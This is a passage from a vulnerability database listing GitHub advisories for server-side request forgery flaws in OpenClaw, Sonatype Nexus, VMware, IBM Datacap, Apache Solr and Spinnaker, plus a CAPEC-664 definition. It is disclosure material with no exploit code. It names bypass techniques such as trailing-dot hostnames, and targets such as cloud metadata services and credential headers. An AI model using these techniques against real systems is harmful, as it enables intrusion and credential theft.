    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3906"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Server SSRF Vulnerability via the Agents Plugin"
}

GHSA-VQX6-6J84-2794

Vulnerability from github – Published: 2026-06-16 21:31 – Updated: 2026-06-18 20:11
VLAI
Summary
Duplicate Advisory: Hostname checks could treat trailing-dot hosts inconsistently
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-gxg4-2rrr-jhc7. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.5.26 contains a hostname validation vulnerability allowing attackers to bypass blocklist comparisons using trailing-dot notation in model or workspace-derived URLs. Attackers can exploit inconsistent hostname checks to reach destinations that operators intended to block through hostname policies.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T20:11:21Z",
    "nvd_published_at": "2026-06-16T19:17:03Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-gxg4-2rrr-jhc7. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.5.26 contains a hostname validation vulnerability allowing attackers to bypass blocklist comparisons using trailing-dot notation in model or workspace-derived URLs. Attackers can exploit inconsistent hostname checks to reach destinations that operators intended to block through hostname policies.",
  "id": "GHSA-vqx6-6j84-2794",
  "modified": "2026-06-18T20:11:21Z",
  "published": "2026-06-16T21:31:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gxg4-2rrr-jhc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53859"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-hostname-validation-bypass-via-trailing-dot-inconsistency"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Hostname checks could treat trailing-dot hosts inconsistently",
  "withdrawn": "2026-06-18T20:11:21Z"
}

GHSA-VR4X-W39V-5C7H

Vulnerability from github – Published: 2026-01-15 00:31 – Updated: 2026-01-15 00:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Sonatype Nexus Repository 3 versions 3.0.0 and later allows authenticated administrators to configure proxy repositories with URLs that can access unintended network destinations, potentially including cloud metadata services and internal network resources. A workaround configuration is available starting in version 3.88.0, but the product remains vulnerable by default.

Severity
6.2 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-0600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-14T23:15:56Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Sonatype Nexus Repository 3 versions 3.0.0 and later allows authenticated administrators to configure proxy repositories with URLs that can access unintended network destinations, potentially including cloud metadata services and internal network resources. A workaround configuration is available starting in version 3.88.0, but the product remains vulnerable by default.",
  "id": "GHSA-vr4x-w39v-5c7h",
  "modified": "2026-01-15T00:31:38Z",
  "published": "2026-01-15T00:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0600"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/47928855816595"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VR56-Q77C-X8PG

Vulnerability from github – Published: 2021-12-21 00:00 – Updated: 2022-01-04 00:01
VLAI
Details

VMware Workspace ONE Access 21.08, 20.10.0.1, and 20.10 and Identity Manager 3.3.5, 3.3.4, and 3.3.3 contain an SSRF vulnerability. A malicious actor with network access may be able to make HTTP requests to arbitrary origins and read the full response.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-20T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "VMware Workspace ONE Access 21.08, 20.10.0.1, and 20.10 and Identity Manager 3.3.5, 3.3.4, and 3.3.3 contain an SSRF vulnerability. A malicious actor with network access may be able to make HTTP requests to arbitrary origins and read the full response.",
  "id": "GHSA-vr56-q77c-x8pg",
  "modified": "2022-01-04T00:01:27Z",
  "published": "2021-12-21T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22056"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2021-0030.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VR5G-MMX7-H897

Vulnerability from github – Published: 2026-04-09 17:36 – Updated: 2026-04-28 18:25
VLAI
Summary
OpenClaw has Browser SSRF Policy Bypass via Interaction-Triggered Navigation
Details

Impact

Browser SSRF Policy Bypass via Interaction-Triggered Navigation.

Browser interactions could trigger navigations that bypassed the normal SSRF navigation checks.

OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.4.5
  • Patched versions: 2026.4.8

Fix

The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.

Verification

The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.

Credits

Thanks @ccreater222 and @KeenSecurityLab for reporting.

Severity
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:36:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nBrowser SSRF Policy Bypass via Interaction-Triggered Navigation.\n\nBrowser interactions could trigger navigations that bypassed the normal SSRF navigation checks.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.5`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @ccreater222 and @KeenSecurityLab for reporting.",
  "id": "GHSA-vr5g-mmx7-h897",
  "modified": "2026-04-28T18:25:56Z",
  "published": "2026-04-09T17:36:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vr5g-mmx7-h897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has Browser SSRF Policy Bypass via Interaction-Triggered Navigation"
}

GHSA-VR9C-HJJV-GH5H

Vulnerability from github – Published: 2024-07-15 03:30 – Updated: 2024-07-15 03:30
VLAI
Details

IBM Datacap Navigator 9.1.5, 9.1.6, 9.1.7, 9.1.8, and 9.1.9 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 296008.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-39739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-15T02:15:06Z",
    "severity": "MODERATE"
  },
  "details": "IBM Datacap Navigator 9.1.5, 9.1.6, 9.1.7, 9.1.8, and 9.1.9 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.  IBM X-Force ID:  296008.",
  "id": "GHSA-vr9c-hjjv-gh5h",
  "modified": "2024-07-15T03:30:58Z",
  "published": "2024-07-15T03:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39739"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/296008"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7160185"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRH8-27Q8-FR8F

Vulnerability from github – Published: 2019-03-14 15:39 – Updated: 2026-04-16 16:55
VLAI
Summary
Server-Side Request Forgery (SSRF) in org.apache.solr:solr-core
Details

Server Side Request Forgery in Apache Solr, versions 1.3 until 7.6 (inclusive). Since the "shards" parameter does not have a corresponding whitelist mechanism, a remote attacker with access to the server could make Solr perform an HTTP GET request to any reachable URL.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.6.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.solr:solr-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "7.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-3164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:58:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Server Side Request Forgery in Apache Solr, versions 1.3 until 7.6 (inclusive). Since the \"shards\" parameter does not have a corresponding whitelist mechanism, a remote attacker with access to the server could make Solr perform an HTTP GET request to any reachable URL.",
  "id": "GHSA-vrh8-27q8-fr8f",
  "modified": "2026-04-16T16:55:49Z",
  "published": "2019-03-14T15:39:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3164"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/43026507844ada1ac658ccf7bc939378c13e492fd6538416ce65df39@%3Cdev.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/75dc651478f9d04505b46d44fe3ac739e7aaf3d7bf1257973685f8f7@%3Cdev.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/bcce5a9c532b386c68dab2f6b3ce8b0cc9b950ec551766e76391caa3@%3Ccommits.nifi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ca3105b6934ccd28e843dffe39724f6963ff49825e9b709837203649@%3Cdev.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/e0f9c652b57a91fdcc287efcead620af9f4d8e46b88f0b761aa265de@%3Cdev.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc400db37710ee79378b6c52de3640493ff538c2beb41cefdbbdf2ab8@%3Ccommits.submarine.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rca37935d661f4689cb4119f1b3b224413b22be161b678e6e6ce0c69b@%3Ccommits.nifi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://mail-archives.apache.org/mod_mbox/www-announce/201902.mbox/%3CCAECwjAVjBN%3DwO5rYs6ktAX-5%3D-f5JDFwbbTSM2TTjEbGO5jKKA%40mail.gmail.com%3E"
    },
    {
      "type": "WEB",
      "url": "http://security.netapp.com/advisory/ntap-20190327-0003"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery (SSRF) in org.apache.solr:solr-core"
}

GHSA-VRJC-Q2FH-6X9H

Vulnerability from github – Published: 2026-01-05 22:55 – Updated: 2026-01-06 15:51
VLAI
Summary
Spinnaker vulnerable to SSRF due to improper restrictions on http from user input
Details

Impact

The primary impact is allowing users to fetch data from a remote URL. This data can be then injected into Spinnaker pipelines via helm or other methods to extract things LIKE idmsv1 authentication data. This ALSO includes calling INTERNAL Spinnaker API's via a get and similar endpoints. Further, depending upon the artifact configuration, auth data may be exposed to arbitrary endpoints (e.g. GitHub auth headers) leading to credentials exposure.

To trigger this, a Spinnaker installation MUST have: * An artifact enabled that allows user input. This includes GitHub file artifacts, BitBucket, GitLab, HTTP artifacts and similar artifact providers. JUST enabling the http artifact provider will add a "no-auth" http provider that could be used to extract link local data (e.g. AWS Metadata information). * A system that can consume the output of these artifacts. E.g. Rosco helm can use this to fetch values data. K8s account manifests if the API returns JSON can be used to inject that data into the pipeline itself though the pipeline would fail.

To note, due to the way the URLs are viable to be injected, CERTAIN systems can be used to provide DOS attacks on Spinnaker itself. These would NOT compromise the system per se, given restarts and timeout configuration, but could lead to internal attacks by a Spinnaker user against Spinnaker services. An example is that an artifact fetch reference could return an infinite response data feed or similar that can act as a DOS attack. It's recommended to set strong limits on the various http limits AND artifact URLs to known valid URLs.

Patches

Fixed in clouddriver versiosn 2025.2.3, 2025.1.5, 2025.0.9. Impacts all prior Spinnaker releases.

Workarounds

Disable HTTP account types that allow user input of a given URL. This is probably not feasible in MOST cases. Git, Docker and other artifact account types with explicit URL configurations bypass this limitation and should be safe as they limit artifact URL loading.

Alternatively using one of the various vendors which provide OPA policies to restrict pipelines from accessing or saving a pipeline with invalid URLs.

Severity
7.9 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.clouddriver:clouddriver-artifacts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.clouddriver:clouddriver-artifacts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.2.0"
            },
            {
              "fixed": "2025.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-523",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T22:55:12Z",
    "nvd_published_at": "2026-01-05T22:15:50Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe primary impact is allowing users to fetch data from a remote URL.  This data can be then injected into Spinnaker pipelines via helm or other methods to extract things LIKE idmsv1 authentication data.  This ALSO includes calling INTERNAL Spinnaker API\u0027s via a get and similar endpoints.  Further, depending upon the artifact configuration, auth data may be exposed to arbitrary endpoints (e.g. GitHub auth headers) leading to credentials exposure.   \n\nTo trigger this, a Spinnaker installation MUST have:\n* An artifact enabled that allows user input.  This includes GitHub file artifacts, BitBucket, GitLab, HTTP artifacts and similar artifact providers.  JUST enabling the http artifact provider will add a \"no-auth\" http provider that could be used to extract link local data (e.g. AWS Metadata information).\n* A system that can consume the output of these artifacts.  E.g. Rosco helm can use this to fetch values data.  K8s account manifests if the API returns JSON can be used to inject that data into the pipeline itself though the pipeline would fail.\n\nTo note, due to the way the URLs are viable to be injected, CERTAIN systems can be used to provide DOS attacks on Spinnaker itself.  These would NOT compromise the system per se, given restarts and timeout configuration, but could lead to internal attacks by a Spinnaker user against Spinnaker services.  An example is that an artifact fetch reference could return an infinite response data feed or similar that can act as a DOS attack.  It\u0027s recommended to set strong limits on the various http limits AND artifact URLs to known valid URLs. \n\n### Patches\nFixed in clouddriver versiosn 2025.2.3, 2025.1.5, 2025.0.9.  Impacts all prior Spinnaker releases.\n\n### Workarounds\nDisable HTTP account types that allow user input of a given URL.  This is probably not feasible in MOST cases.  Git, Docker and other artifact account types with explicit URL configurations bypass this limitation and should be safe as they limit artifact URL loading.\n\nAlternatively using one of the various vendors which provide OPA policies to restrict pipelines from accessing or saving a pipeline with invalid URLs.",
  "id": "GHSA-vrjc-q2fh-6x9h",
  "modified": "2026-01-06T15:51:46Z",
  "published": "2026-01-05T22:55:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/security/advisories/GHSA-vrjc-q2fh-6x9h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61916"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spinnaker/spinnaker"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spinnaker vulnerable to SSRF due to improper restrictions on http from user input"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list